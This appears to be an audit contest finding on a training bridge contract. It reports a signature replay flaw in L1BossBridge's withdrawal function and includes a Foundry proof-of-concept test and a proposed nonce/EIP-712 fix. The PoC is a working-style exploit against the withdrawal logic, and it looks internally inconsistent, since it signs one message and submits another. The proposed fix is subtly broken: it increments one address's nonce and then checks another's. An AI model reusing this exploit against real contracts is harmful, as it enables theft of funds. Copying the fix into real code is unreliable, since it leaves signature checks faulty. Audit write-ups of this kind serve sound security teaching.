Beginner FriendlyFoundryBridge
100 EXP
View results
Submission Details
Severity: high
Valid

Signature Replay Attack in Withdrawal, Leads to Unauthorized Spending or Unintended Consequences.

Summary

In L1BossBridge::withdrawTokensToL1 the signature Replay attacks on withdrawls can lead to unauthorized spending or unintended consequences.

Vulnerability Details

The vulnerability arises from inadequate protection against signature replay attacks in the withdrawTokensToL1 function.

Impact

In L1BossBridge::withdrawTokensToL1, signature replay attacks on withdrawals can result in unauthorized spending or unintended consequences.

POC

  • Deposit a certain amount of tokens into the bridge contract.

  • Get approval from the contract owner to be included in the signers mapping. This approval step is necessary to identify legitimate signers.

  • Now run the test and you will get this result Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 18.86ms

// replay attack
// considering attacker is in signers mapping and has deposited tokens already
function testReplayAttack() public {
vm.startPrank(user);
uint256 depositAmount = 10e18;
uint256 userInitialBalance = token.balanceOf(address(user));
token.approve(address(tokenBridge), depositAmount);
tokenBridge.depositTokensToL2(user, userInL2, depositAmount);
assertEq(token.balanceOf(address(vault)), depositAmount);
assertEq(token.balanceOf(address(user)), userInitialBalance - depositAmount);
uint256 attackerBeforeAmount = token.balanceOf(address(attacker));
console.log("Attacker Amount Before Withdrawal:", attackerBeforeAmount);
(uint8 v, bytes32 r, bytes32 s) = _signMessage(_getTokenWithdrawalMessage(user, depositAmount), operator.key);
vm.startPrank(attacker);
tokenBridge.sendToL1(v, r, s, _getTokenWithdrawalMessage(attacker, depositAmount));
uint256 attackerAfterAmount = token.balanceOf(address(attacker));
assertTrue(attackerAfterAmount > attackerBeforeAmount, "Replay attack was successful");
console.log("Attacker Amount After Withdrawal:", attackerAfterAmount);
assertEq(token.balanceOf(address(vault)), 0);
vm.stopPrank();
}

Tools Used

  • Foundry and manual review

Recommendations

To prevent replay attacks in the provided code, you can introduce a nonce and use Ethereum's EIP-712 standard for signing messages. Here's what you should do:

// Define a mapping to store nonces for each signer
mapping(address => uint256) public nonces;
function withdrawTokensToL1(address to, uint256 amount, uint8 v, bytes32 r, bytes32 s) external {
// Create a unique nonce for this transaction
uint256 nonce = nonces[msg.sender]++;
// Construct the message to be signed using EIP-712 format
bytes32 messageHash = keccak256(
abi.encodePacked(
"\x19\x01",
getDomainSeparator(),
keccak256(abi.encodePacked(
address(this),
to,
amount,
nonce
))
)
);
address signer = ECDSA.recover(messageHash, v, r, s);
// Check if the recovered signer is valid
require(signers[signer], "Invalid signer");
// Ensure the nonce is valid and not already used
require(nonce == nonces[signer], "Invalid nonce");
// Proceed with the token withdrawal logic
token.transferFrom(vault, to, amount);
}
// Define the EIP-712 domain separator
function getDomainSeparator() public view returns (bytes32) {
return keccak256(
abi.encode(
keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
keccak256(bytes("YourContractName")), // Replace with your contract name
keccak256(bytes("1")), // Replace with your contract version
chainId(),
address(this)
)
);
}
// Define a function to get the current chain ID
function chainId() internal pure returns (uint256) {
uint256 id;
assembly {
id := chainid()
}
return id;
}
Updates

Lead Judging Commences

0xnevi Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

withdrawTokensToL1()/sendToL1(): signature replay

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.